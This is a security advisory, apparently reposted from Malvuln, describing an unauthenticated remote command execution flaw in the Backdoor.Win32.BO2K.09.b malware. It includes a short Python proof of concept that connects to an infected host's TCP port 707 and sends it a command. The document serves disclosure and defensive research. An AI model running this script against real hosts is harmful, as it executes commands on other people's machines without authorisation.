Thursday, March 4, 2021

Backdoor.Win32.BO2K.09.b Code Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/90894ac48059687ea80e565f7529e53f.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BO2K.09.b
Vulnerability: Unauthenticated Remote Command Execution
Description: Backdoor BO2K.09.b listens on TCP ports 707 and 808. Third party adversarys who can reach the system, can execute any command on the infected host using sockets or get a remote shell using telnet, curl etc.
Type: PE32
MD5: 90894ac48059687ea80e565f7529e53f
Vuln ID: MVID-2021-0120
Dropped files:
Disclosure: 03/02/2021

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=707
CMD="calc\n"

def doit():
try:
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST,PORT))
except Exception as e:
print(str(e))

res=""

while True:
res = s.recv(128)
print(res)
if "\n" in res or "\0" in res:
break

CMD.encode()
s.send(CMD)
time.sleep(2)
s.close()

print("Backdoor.Win32.BO2K.09.b / Unauthenticated Remote Command Execution");
print("MD5: 90894ac48059687ea80e565f7529e53f");
print("By Malvuln");

if __name__=="__main__":
doit()

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore